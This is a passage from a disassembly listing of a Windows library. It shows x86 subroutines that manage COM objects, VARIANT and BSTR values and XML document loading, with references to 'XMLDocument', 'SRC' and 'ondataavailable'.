		jz	short loc_69B5CAA0
		mov	eax, 0C00CE107h
		jmp	short loc_69B5CA95
; ---------------------------------------------------------------------------


loc_69B5CA90:				; CODE XREF: sub_69B5CA0B+9j
		mov	eax, 0C00CE103h


loc_69B5CA95:				; CODE XREF: sub_69B5CA0B+83j
		push	ebx
		push	eax
		push	eax
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5CAA0:				; CODE XREF: sub_69B5CA0B+73j
					; sub_69B5CA0B+7Cj
		pop	esi
		pop	ebx
		retn	4
sub_69B5CA0B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5CAA5	proc near		; CODE XREF: sub_69B5CAA5+73p
					; sub_69B5CB6E+86p

var_8		= byte ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	eax, eax
		mov	al, [esi+0Bh]
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		and	eax, 1Fh
		setz	[ebp+var_1]
		cmp	[ebp+var_1], bl
		jz	short loc_69B5CAE6
		mov	ecx, [ebp+arg_0]
		push	esi
		call	sub_69B5BCA9
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B5CB41
		mov	ecx, [ebp+arg_0]
		push	esi
		push	ebx
		call	sub_69B5C83A
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B5CB41
		jmp	short loc_69B5CAEB
; ---------------------------------------------------------------------------


loc_69B5CAE6:				; CODE XREF: sub_69B5CAA5+1Ej
		cmp	eax, 0Bh
		jnz	short loc_69B5CB4C


loc_69B5CAEB:				; CODE XREF: sub_69B5CAA5+3Fj
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, esi
		mov	byte ptr [ebp+arg_4+3],	bl
		call	sub_69B48DC1
		jmp	short loc_69B5CB28
; ---------------------------------------------------------------------------


loc_69B5CAFB:				; CODE XREF: sub_69B5CAA5+85j
		xor	ecx, ecx
		mov	cl, [eax+0Bh]
		and	ecx, 1Fh
		sub	ecx, ebx
		jz	short loc_69B5CB14
		dec	ecx
		jz	short loc_69B5CB53
		sub	ecx, 5
		jz	short loc_69B5CB53
		sub	ecx, 5
		jnz	short loc_69B5CB1D


loc_69B5CB14:				; CODE XREF: sub_69B5CAA5+60j
		push	eax
		push	[ebp+arg_0]
		call	sub_69B5CAA5


loc_69B5CB1D:				; CODE XREF: sub_69B5CAA5+6Dj
					; sub_69B5CAA5+B1j ...
		lea	eax, [ebp+var_8]
		push	eax
		mov	ecx, esi
		call	sub_69B47D9F


loc_69B5CB28:				; CODE XREF: sub_69B5CAA5+54j
		cmp	eax, ebx
		jnz	short loc_69B5CAFB
		cmp	[ebp+var_1], bl
		jz	short loc_69B5CB3D
		mov	ecx, [ebp+arg_0]
		push	esi
		push	ebx
		call	sub_69B5BD8C
		mov	edi, eax


loc_69B5CB3D:				; CODE XREF: sub_69B5CAA5+8Aj
		cmp	edi, ebx
		jz	short loc_69B5CB4C


loc_69B5CB41:				; CODE XREF: sub_69B5CAA5+2Dj
					; sub_69B5CAA5+3Dj ...
		push	ebx
		push	edi
		push	edi
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5CB4C:				; CODE XREF: sub_69B5CAA5+44j
					; sub_69B5CAA5+9Aj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_69B5CB53:				; CODE XREF: sub_69B5CAA5+63j
					; sub_69B5CAA5+68j
		cmp	byte ptr [ebp+arg_4+3],	bl
		jnz	short loc_69B5CB1D
		mov	ecx, [ebp+arg_0]
		push	esi
		push	ebx
		mov	byte ptr [ebp+arg_4+3],	1
		call	sub_69B5AC40
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_69B5CB41
		jmp	short loc_69B5CB1D
sub_69B5CAA5	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5CB6E	proc near		; CODE XREF: sub_69B3C634+1A5p
					; sub_69B4F873+122p ...
		push	0D4h
		push	offset dword_69B5CC58
		call	sub_69B19C5C
		xor	ebx, ebx
		mov	eax, [ebp+10h]
		cmp	eax, ebx
		jz	short loc_69B5CB8C
		test	byte ptr [eax+0Bh], 1Fh
		jz	short loc_69B5CB9F


loc_69B5CB8C:				; CODE XREF: sub_69B5CB6E+16j
		push	ebx
		push	0C00CE101h
		push	80004005h
		call	sub_69B2E9D0
		add	esp, 0Ch


loc_69B5CB9F:				; CODE XREF: sub_69B5CB6E+1Cj
		mov	edi, [ebp+8]
		mov	esi, [edi+70h]
		mov	[ebp-1Ch], esi
		cmp	[ebp+18h], bl
		jz	short loc_69B5CBBA
		push	ebx
		mov	ecx, esi
		call	sub_69B4E185
		mov	esi, eax
		mov	[ebp-1Ch], esi


loc_69B5CBBA:				; CODE XREF: sub_69B5CB6E+3Dj
		push	dword ptr [ebp+10h]
		mov	ecx, esi
		call	sub_69B4DDB5
		push	dword ptr [ebp+18h]
		push	edi
		push	dword ptr [ebp+14h]
		push	esi
		push	esi
		push	dword ptr [ebp+0Ch]
		push	ebx
		lea	ecx, [ebp-0E4h]
		call	sub_69B5BBF4
		mov	[ebp-4], ebx
		lea	ecx, [ebp-0E4h]
		call	sub_69B5AFE0
		push	dword ptr [ebp+10h]
		lea	eax, [ebp-0E4h]
		push	eax
		call	sub_69B5CAA5
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+14h]
		mov	ecx, [ebp+0Ch]
		call	sub_69B8B750
		mov	ecx, [ebp-0A8h]
		call	sub_69B8B8E1
		jmp	short loc_69B5CC3A
; ---------------------------------------------------------------------------


loc_69B5CC14:				; DATA XREF: .text:69B5CC5Co
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5CC1D:				; DATA XREF: .text:69B5CC60o
		mov	esp, [ebp-18h]
		mov	esi, [ebp-1Ch]
		mov	ecx, esi
		call	sub_69B5BB57
		lea	ecx, [ebp-0E4h]
		call	sub_69B5C7EA
		call	sub_69B2E860


loc_69B5CC3A:				; CODE XREF: sub_69B5CB6E+A4j
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_69B5BB57
		lea	ecx, [ebp-0E4h]
		call	sub_69B5C7EA
		call	sub_69B1853C
		retn	14h
sub_69B5CB6E	endp

; ---------------------------------------------------------------------------
dword_69B5CC58	dd 0FFFFFFFFh			dd offset loc_69B5CC14
		dd offset loc_69B5CC1D

; =============== S U B	R O U T	I N E =======================================



sub_69B5CC64	proc near		; DATA XREF: .text:69B12AECo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		xor	ecx, ecx
		sub	eax, ecx
		push	esi
		mov	esi, [esp+4+arg_0]
		jz	short loc_69B5CC93
		sub	eax, 8
		jz	short loc_69B5CC84
		dec	eax
		dec	eax
		jz	short loc_69B5CC8E
		dec	eax
		jnz	short loc_69B5CC9B
		cmp	[esi+24h], ecx
		jnz	short loc_69B5CC9B


loc_69B5CC84:				; CODE XREF: sub_69B5CC64+12j
		mov	ecx, [esi+1Ch]
		call	sub_69B5A96B
		jmp	short loc_69B5CC9B
; ---------------------------------------------------------------------------


loc_69B5CC8E:				; CODE XREF: sub_69B5CC64+16j
		cmp	[esi+24h], ecx
		jnz	short loc_69B5CC9B


loc_69B5CC93:				; CODE XREF: sub_69B5CC64+Dj
		mov	ecx, [esi+1Ch]
		call	sub_69B5AFE0


loc_69B5CC9B:				; CODE XREF: sub_69B5CC64+19j
					; sub_69B5CC64+1Ej ...
		push	[esp+4+arg_8]
		mov	esi, [esi+10h]
		push	[esp+8+arg_4]
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+0Ch]
		pop	esi
		retn	0Ch
sub_69B5CC64	endp


; =============== S U B	R O U T	I N E =======================================



sub_69B5CCB0	proc near		; DATA XREF: .text:69B12AF0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_8]
		cmp	dword ptr [edi+4], 1
		jnz	short loc_69B5CCD3
		push	dword ptr [edi+1Ch]
		mov	ecx, [esi+1Ch]
		push	[esp+0Ch+arg_4]
		call	sub_69B5C83A
		test	eax, eax
		jnz	short loc_69B5CCE1


loc_69B5CCD3:				; CODE XREF: sub_69B5CCB0+Ej
		mov	eax, [esi+10h]
		mov	ecx, [eax]
		push	edi
		push	[esp+0Ch+arg_4]
		push	eax
		call	dword ptr [ecx+10h]


loc_69B5CCE1:				; CODE XREF: sub_69B5CCB0+21j
		pop	edi
		pop	esi
		retn	0Ch
sub_69B5CCB0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5CCE6	proc near		; DATA XREF: .text:69B12AF4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_C]
		cmp	dword ptr [esi+4], 1
		push	edi
		mov	edi, [ebp+arg_0]
		jnz	short loc_69B5CD21
		cmp	[ebp+arg_8], 0
		jz	short loc_69B5CD0F
		push	dword ptr [esi+1Ch]
		mov	ecx, [edi+1Ch]
		push	[ebp+arg_4]
		call	sub_69B5C83A
		test	eax, eax
		jnz	short loc_69B5CD31


loc_69B5CD0F:				; CODE XREF: sub_69B5CCE6+15j
		push	dword ptr [esi+1Ch]
		mov	ecx, [edi+1Ch]
		push	[ebp+arg_4]
		call	sub_69B5BD8C
		test	eax, eax
		jnz	short loc_69B5CD31


loc_69B5CD21:				; CODE XREF: sub_69B5CCE6+Fj
		mov	edi, [edi+10h]
		mov	eax, [edi]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	edi
		call	dword ptr [eax+14h]


loc_69B5CD31:				; CODE XREF: sub_69B5CCE6+27j
					; sub_69B5CCE6+39j
		pop	edi
		pop	esi
		pop	ebp
		retn	10h
sub_69B5CCE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5CD37	proc near		; DATA XREF: .text:69B12AF8o
					; .text:69B149A4o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	[ebp+arg_10]
		mov	eax, [ebp+arg_0]
		push	[ebp+arg_C]
		mov	eax, [eax+10h]
		push	[ebp+arg_8]
		mov	ecx, [eax]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [ecx+18h]
		pop	ebp
		retn	14h
sub_69B5CD37	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5CD56	proc near		; DATA XREF: .text:69B12AFCo

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_10]
		push	esi
		mov	esi, [ecx]
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, [edi+10h]
		mov	edx, [eax]
		push	ecx
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	eax
		call	dword ptr [edx+1Ch]
		test	eax, eax
		jnz	short loc_69B5CDA0
		mov	ecx, [esi+4]
		dec	ecx
		jz	short loc_69B5CD95
		sub	ecx, 0Ch
		jnz	short loc_69B5CDA0
		push	[ebp+arg_8]
		mov	ecx, [edi+1Ch]
		push	dword ptr [esi+1Ch]
		call	sub_69B5AC40
		jmp	short loc_69B5CDA0
; ---------------------------------------------------------------------------


loc_69B5CD95:				; CODE XREF: sub_69B5CD56+28j
		push	dword ptr [esi+1Ch]
		mov	ecx, [edi+1Ch]
		call	sub_69B5BCA9


loc_69B5CDA0:				; CODE XREF: sub_69B5CD56+22j
					; sub_69B5CD56+2Dj ...
		pop	edi
		pop	esi
		pop	ebp
		retn	14h
sub_69B5CD56	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5CDA6	proc near		; CODE XREF: sub_69B3DADB+A1p
					; sub_69B4FDBC+4BAp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_69B4E24E
		push	[ebp+arg_0]
		xor	ecx, ecx
		mov	dword ptr [esi], offset	off_69B12AE0
		mov	dword ptr [esi+4], offset off_69B29128
		lea	eax, [esi+10h]
		mov	[eax], ecx
		lea	edi, [esi+14h]
		mov	[edi], ecx
		lea	ebx, [esi+18h]
		mov	[ebx], ecx
		push	eax
		mov	[esi+24h], ecx
		call	sub_69B17320
		push	[ebp+arg_8]
		push	edi
		call	sub_69B17320
		push	[ebp+arg_C]
		push	ebx
		call	sub_69B17320
		push	[ebp+arg_10]
		lea	eax, [esi+24h]
		push	eax
		call	sub_69B17320
		mov	edi, [ebp+arg_14]
		push	0C8h
		mov	[esi+20h], edi
		call	sub_69B1D897
		test	eax, eax
		jz	short loc_69B5CE30
		cmp	[ebp+arg_10], 0
		setz	cl
		push	ecx
		push	edi
		push	[ebp+arg_10]
		mov	ecx, eax
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_69B5BBF4
		jmp	short loc_69B5CE32
; ---------------------------------------------------------------------------


loc_69B5CE30:				; CODE XREF: sub_69B5CDA6+67j
		xor	eax, eax


loc_69B5CE32:				; CODE XREF: sub_69B5CDA6+88j
		mov	[esi+1Ch], eax
		pop	edi
		mov	eax, esi
		pop	esi
		pop	ebx
		pop	ebp
		retn	18h
sub_69B5CDA6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5CE3E	proc near		; CODE XREF: .text:69B5CEC8p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esi+18h]
		test	edi, edi
		mov	dword ptr [esi-4], offset off_69B12AE0
		mov	dword ptr [esi], offset	off_69B29128
		jz	short loc_69B5CE69
		mov	ecx, edi
		call	sub_69B5C7EA
		push	edi
		call	sub_69B1B2B7


loc_69B5CE69:				; CODE XREF: sub_69B5CE3E+1Cj
		push	0
		lea	edi, [esi+0Ch]
		push	edi
		call	sub_69B17320
		push	0
		lea	ebx, [esi+10h]
		push	ebx
		call	sub_69B17320
		lea	eax, [esi+14h]
		push	0
		push	eax
		mov	[ebp+var_8], eax
		call	sub_69B17320
		lea	eax, [esi+20h]
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	sub_69B17320
		push	[ebp+var_4]
		and	dword ptr [esi+1Ch], 0
		call	sub_69B17230
		push	[ebp+var_8]
		call	sub_69B17230
		push	ebx
		call	sub_69B17230
		push	edi
		call	sub_69B17230
		call	sub_69B2C65C
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_69B5CE3E	endp

; ---------------------------------------------------------------------------


loc_69B5CEC5:				; DATA XREF: .text:off_69B29128o
		push	esi
		mov	esi, ecx
		call	sub_69B5CE3E
		test	byte ptr [esp+8], 1
		jz	short loc_69B5CEDD
		lea	eax, [esi-4]
		push	eax
		call	sub_69B1B2B7


loc_69B5CEDD:				; CODE XREF: .text:69B5CED2j
		lea	eax, [esi-4]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B5CEE4:				; DATA XREF: .text:69B29140o
		mov	eax, [esp+4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_69B5CEF2
		xor	eax, eax
		jmp	short locret_69B5CF00
; ---------------------------------------------------------------------------


loc_69B5CEF2:				; CODE XREF: .text:69B5CEECj
		mov	ecx, [eax+24h]
		mov	edx, [ecx]
		push	0
		push	dword ptr [eax+20h]
		push	ecx
		call	dword ptr [edx+14h]

locret_69B5CF00:			; CODE XREF: .text:69B5CEF0j
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_69B5CF03	proc near		; CODE XREF: sub_69B5D6A0+61p

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_69B25D04
		mov	esi, ecx
		call	sub_69B5E7C4
		mov	eax, [esp+4+arg_0]
		mov	[esi+18h], eax
		mov	dword ptr [esi], offset	off_69B5CF24
		mov	eax, esi
		pop	esi
		retn	4
sub_69B5CF03	endp

; ---------------------------------------------------------------------------
		align 4
off_69B5CF24	dd offset sub_69B5E7DF	; DATA XREF: sub_69B5CF03+14o
		dd offset sub_69B5E61C
		dd offset sub_69B5E62C
		dd offset sub_69B84A3B
		dd offset sub_69B84A4B
		dd offset sub_69B365EB
		dd offset sub_69B5E644
		dd offset sub_69B5CF44

; =============== S U B	R O U T	I N E =======================================



sub_69B5CF44	proc near		; DATA XREF: .text:69B5CF40o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	nullsub_5
		test	[esp+4+arg_0], 1
		jz	short loc_69B5CF59
		push	esi
		call	sub_69B1B2B7


loc_69B5CF59:				; CODE XREF: sub_69B5CF44+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_69B5CF44	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_69B5CF5F(int, LPCWSTR psz1,	int, int)

sub_69B5CF5F	proc near		; DATA XREF: .text:69B29160o

arg_0		= dword	ptr  8
psz1		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	off_69B99CFC	; psz2
		push	[ebp+psz1]	; psz1
		call	ds:StrCmpW	; StrCmpW
		test	eax, eax
		jnz	short loc_69B5CF7C
		mov	eax, 80020006h
		jmp	short loc_69B5CF9A
; ---------------------------------------------------------------------------


loc_69B5CF7C:				; CODE XREF: sub_69B5CF5F+14j
		push	[ebp+arg_C]
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+0Ch]
		push	[ebp+arg_8]
		lea	ecx, [eax+34h]
		push	[ebp+psz1]
		neg	eax
		sbb	eax, eax
		and	eax, ecx
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+1Ch]


loc_69B5CF9A:				; CODE XREF: sub_69B5CF5F+1Bj
		pop	ebp
		retn	10h
sub_69B5CF5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_69B5CF9E	proc near		; CODE XREF: sub_69B5D064+11Cp

pvarg		= VARIANTARG ptr -18h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		and	[ebp+var_4], 0
		and	[ebp+var_8], 0
		push	esi
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		mov	esi, ecx
		call	VariantInit
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		lea	edx, [ebp+var_4]
		push	edx
		push	offset dword_69B2B040
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5D02B
		mov	eax, [ebp+var_4]
		mov	ecx, [eax]
		lea	edx, [ebp+var_8]
		push	edx
		push	offset nullsub_2
		push	offset dword_69B5D054
		push	eax
		call	dword ptr [ecx+0Ch]
		mov	esi, eax
		test	esi, esi
		jl	short loc_69B5D02B
		mov	eax, [ebp+var_8]
		mov	ecx, [eax]
		lea	edx, [ebp+pvarg]
		push	edx
		push	0
		push	0
		push	1
		push	offset dword_69B5D044
		push	eax
		call	dword ptr [ecx+10h]
		mov	esi, eax
		test	esi, esi
		jnz	short loc_69B5D02B
		cmp	word ptr [ebp+pvarg.anonymous_0], 8
		jz	short loc_69B5D023
		lea	eax, [ebp+pvarg]
		push	eax		; pvarg
		call	VariantClear
		mov	esi, 8000FFFFh
		jmp	short loc_69B5D02B
; ---------------------------------------------------------------------------


loc_69B5D023:				; CODE XREF: sub_69B5CF9E+72j
		mov	eax, [ebp+arg_0]
		mov	ecx, dword ptr [ebp+pvarg.anonymous_0+8]
		mov	[eax], ecx


loc_69B5D02B:				; CODE XREF: sub_69B5CF9E+30j
					; sub_69B5CF9E+4Dj ...
		lea	eax, [ebp+var_4]
		push	eax
		call	sub_69B17230
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_69B17230
		mov	eax, esi
		pop	esi
		leave
		retn	4
sub_69B5CF9E	endp

; ---------------------------------------------------------------------------
dword_69B5D044	dd 3050F633h, 11CF98B5h, 0AA0082BBh, 0BCEBD00hdword_69B5D054	dd 3050F632h, 11CF98B5h, 0AA0082BBh, 0BCEBD00h
; =============== S U B	R O U T	I N E =======================================



sub_69B5D064	proc near		; CODE XREF: sub_69B5D68C+Cp
		push	50h
		push	offset dword_69B5D250
		call	sub_69B19C5C
		mov	esi, ecx
		call	dword_69B92948
		mov	[ebp-1Ch], eax
		xor	edi, edi
		cmp	eax, edi
		jnz	short loc_69B5D08B
		mov	eax, 80004005h
		jmp	loc_69B5D23C
; ---------------------------------------------------------------------------


loc_69B5D08B:				; CODE XREF: sub_69B5D064+1Bj
		lea	ecx, [esi+4]
		call	sub_69B87FDC
		push	eax
		push	dword ptr [ebp-1Ch]
		lea	ecx, [ebp-28h]
		call	sub_69B1A8C7
		mov	[ebp-2Ch], edi
		mov	[ebp-30h], edi
		push	offset aSrc_0	; "SRC"
		call	SysAllocString
		mov	ebx, eax
		mov	[ebp-4], edi
		mov	eax, [esi+1Ch]
		mov	ecx, eax
		add	eax, 34h
		neg	ecx
		sbb	ecx, ecx
		and	ecx, eax
		mov	[ebp-38h], ecx
		mov	word ptr [ebp-40h], 9
		mov	edi, [esi+24h]
		mov	[ebp-44h], edi
		lea	eax, [ebp-40h]
		push	eax
		push	offset aXmldocument_0 ;	"XMLDocument"
		call	sub_69B1D494
		push	eax
		push	edi
		call	sub_69B5E93B
		mov	[ebp-48h], eax
		xor	edi, edi
		cmp	ebx, edi
		jnz	short loc_69B5D0FF
		cmp	eax, edi
		jl	loc_69B5D208
		mov	dword ptr [ebp-48h], 8007000Eh


loc_69B5D0FF:				; CODE XREF: sub_69B5D064+8Aj
		cmp	[ebp-48h], edi
		jl	loc_69B5D208
		mov	eax, [esi+24h]
		mov	[ebp-4Ch], eax
		lea	ecx, [esi+18h]
		push	ecx
		lea	ecx, [esi+2Ch]
		push	ecx
		push	eax
		call	sub_69B5E892
		mov	[ebp-48h], eax
		cmp	eax, edi
		jl	loc_69B5D208
		lea	eax, [ebp-5Ch]
		push	eax		; pvarg
		call	VariantInit
		mov	eax, [esi+24h]
		mov	ecx, [eax]
		lea	edx, [ebp-5Ch]
		push	edx
		push	edi
		push	ebx
		push	eax
		call	dword ptr [ecx+20h]
		mov	[ebp-48h], eax
		push	ebx		; BSTR
		call	SysFreeString
		cmp	[ebp-48h], edi
		jl	short loc_69B5D15B
		cmp	word ptr [ebp-5Ch], 8
		jnz	short loc_69B5D15B
		cmp	[ebp-54h], edi
		jnz	short loc_69B5D1A3


loc_69B5D15B:				; CODE XREF: sub_69B5D064+E9j
					; sub_69B5D064+F0j
		mov	eax, [esi+24h]
		mov	ecx, [eax]
		lea	edx, [ebp-2Ch]
		push	edx
		push	eax
		call	dword ptr [ecx+0E8h]
		mov	[ebp-48h], eax
		mov	eax, [ebp-2Ch]
		cmp	eax, edi
		jz	short loc_69B5D17A
		cmp	[eax], di
		jnz	short loc_69B5D192


loc_69B5D17A:				; CODE XREF: sub_69B5D064+10Fj
		lea	eax, [ebp-2Ch]
		push	eax
		mov	ecx, esi
		call	sub_69B5CF9E
		mov	[ebp-48h], eax
		cmp	eax, edi
		jge	short loc_69B5D192
		push	eax
		call	sub_69B2E8B8


loc_69B5D192:				; CODE XREF: sub_69B5D064+114j
					; sub_69B5D064+126j
		cmp	[ebp-2Ch], edi
		jnz	short loc_69B5D19E
		mov	dword ptr [ebp-48h], 80004005h


loc_69B5D19E:				; CODE XREF: sub_69B5D064+131j
		cmp	[ebp-48h], edi
		jl	short loc_69B5D208


loc_69B5D1A3:				; CODE XREF: sub_69B5D064+F5j
		cmp	word ptr [ebp-5Ch], 8
		jnz	short loc_69B5D1CD
		cmp	[ebp-54h], edi
		jz	short loc_69B5D1CD
		mov	eax, [esi+1Ch]
		mov	ecx, [eax]
		lea	edx, [ebp-60h]
		push	edx
		sub	esp, 10h
		lea	esi, [ebp-5Ch]
		mov	edi, esp
		movsd
		movsd
		movsd
		movsd
		push	eax
		call	dword ptr [ecx+0E8h]
		jmp	short loc_69B5D205
; ---------------------------------------------------------------------------


loc_69B5D1CD:				; CODE XREF: sub_69B5D064+144j
					; sub_69B5D064+149j
		cmp	[ebp-2Ch], edi
		jz	short loc_69B5D208
		mov	esi, [esi+1Ch]
		mov	eax, [esi]
		lea	ecx, [ebp-60h]
		push	ecx
		push	dword ptr [ebp-2Ch]
		push	esi
		call	dword ptr [eax+104h]
		jmp	short loc_69B5D205
; ---------------------------------------------------------------------------


loc_69B5D1E7:				; DATA XREF: .text:69B5D254o
		push	dword ptr [ebp-14h]
		call	sub_69B2E94A
		retn
; ---------------------------------------------------------------------------


loc_69B5D1F0:				; DATA XREF: .text:69B5D258o
		mov	esp, [ebp-18h]
		call	sub_69B2E808
		push	eax
		call	sub_69B2D39C
		mov	ecx, eax
		call	sub_69B2E804


loc_69B5D205:				; CODE XREF: sub_69B5D064+167j
					; sub_69B5D064+181j
		mov	[ebp-48h], eax


loc_69B5D208:				; CODE XREF: sub_69B5D064+8Ej
					; sub_69B5D064+9Ej ...
		or	dword ptr [ebp-4], 0FFFFFFFFh
		lea	eax, [ebp-5Ch]
		push	eax		; pvarg
		call	VariantClear
		push	dword ptr [ebp-2Ch] ; BSTR
		call	SysFreeString
		lea	eax, [ebp-30h]
		push	eax
		call	sub_69B17230
		lea	ecx, [ebp-28h]
		call	sub_69B1976C
		push	dword ptr [ebp-1Ch]
		call	dword_69B92944
		mov	eax, [ebp-48h]


loc_69B5D23C:				; CODE XREF: sub_69B5D064+22j
		call	sub_69B1853C
		retn
sub_69B5D064	endp

; ---------------------------------------------------------------------------
		align 4
; OLECHAR aSrc_0
aSrc_0:					; DATA XREF: sub_69B5D064+41o
		unicode	0, <SRC>,0
		align 10h
dword_69B5D250	dd 0FFFFFFFFh			dd offset loc_69B5D1E7
		dd offset loc_69B5D1F0

; =============== S U B	R O U T	I N E =======================================



sub_69B5D25C	proc near		; CODE XREF: sub_69B5D986+96p

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		push	ebp
		push	esi
		mov	esi, ecx
		mov	eax, [esi+20h]
		mov	ecx, [eax]
		lea	ebp, [esi+38h]
		push	ebp
		push	offset loc_69B5D2E0
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		mov	[esp+10h+var_8], eax
		jl	short loc_69B5D2D5
		and	[esp+10h+var_4], 0
		push	ebx
		mov	ebx, offset aOndataavailabl ; "ondataavailable"
		push	edi


loc_69B5D287:				; CODE XREF: sub_69B5D25C+75j
		cmp	[esp+18h+var_8], 0
		jl	short loc_69B5D2D3
		push	ebx		; OLECHAR *
		call	SysAllocString
		mov	edi, eax
		test	edi, edi
		jz	short loc_69B5D2BC
		mov	edx, [ebx+28h]
		mov	eax, [ebp+0]
		mov	ecx, [eax]
		lea	edx, [esi+edx*4+34h]
		push	edx
		push	0
		push	edi
		push	eax
		call	dword ptr [ecx+0Ch]
		push	edi		; BSTR
		mov	[esp+1Ch+var_8], eax
		call	SysFreeString
		jmp	short loc_69B5D2C4
; ---------------------------------------------------------------------------


loc_69B5D2BC:				; CODE XREF: sub_69B5D25C+3Dj
		mov	[esp+18h+var_8], 8007000Eh


loc_69B5D2C4:				; CODE XREF: sub_69B5D25C+5Ej
		add	[esp+18h+var_4], 2Ch
		add	ebx, 2Ch
		cmp	[esp+18h+var_4], 2Ch
		jb	short loc_69B5D287


loc_69B5D2D3:				; CODE XREF: sub_69B5D25C+30j
		pop	edi
		pop	ebx


loc_69B5D2D5:				; CODE XREF: sub_69B5D25C+1Dj
		mov	eax, [esp+10h+var_8]
		pop	esi
		pop	ebp
		pop	ecx
		pop	ecx
		retn
sub_69B5D25C	endp

; ---------------------------------------------------------------------------
		align 10h


loc_69B5D2E0:				; DATA XREF: sub_69B5D25C+Fo
		mov	esp, esi
		push	eax
		xor	[ebp-44EE3068h], dh
		add	byte ptr [eax],	0AAh


loc_69B5D2EC:				; DATA XREF: .text:off_69B2913Co
		add	[ebp+448B0BCEh], bh
		and	al, 4
		push	esi
		mov	esi, [eax+28h]
		xor	eax, eax
		jmp	short loc_69B5D316
; ---------------------------------------------------------------------------


loc_69B5D2FC:				; CODE XREF: .text:69B5D318j
		test	eax, eax
		jl	short loc_69B5D31A
		cmp	dword ptr [esi], 3
		jnz	short loc_69B5D313
		mov	eax, [esi+0Ch]
		mov	ecx, [eax]
		push	0FFFFFDF3h
		push	eax
		call	dword ptr [ecx+0Ch]


loc_69B5D313:				; CODE XREF: .text:69B5D303j
		mov	esi, [esi+10h]


loc_69B5D316:				; CODE XREF: .text:69B5D2FAj
		test	esi, esi
		jnz	short loc_69B5D2FC


loc_69B5D31A:				; CODE XREF: .text:69B5D2FEj
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_69B5D31E:				; DATA XREF: .text:off_69B29138o
		push	54h
		push	offset dword_69B5D450
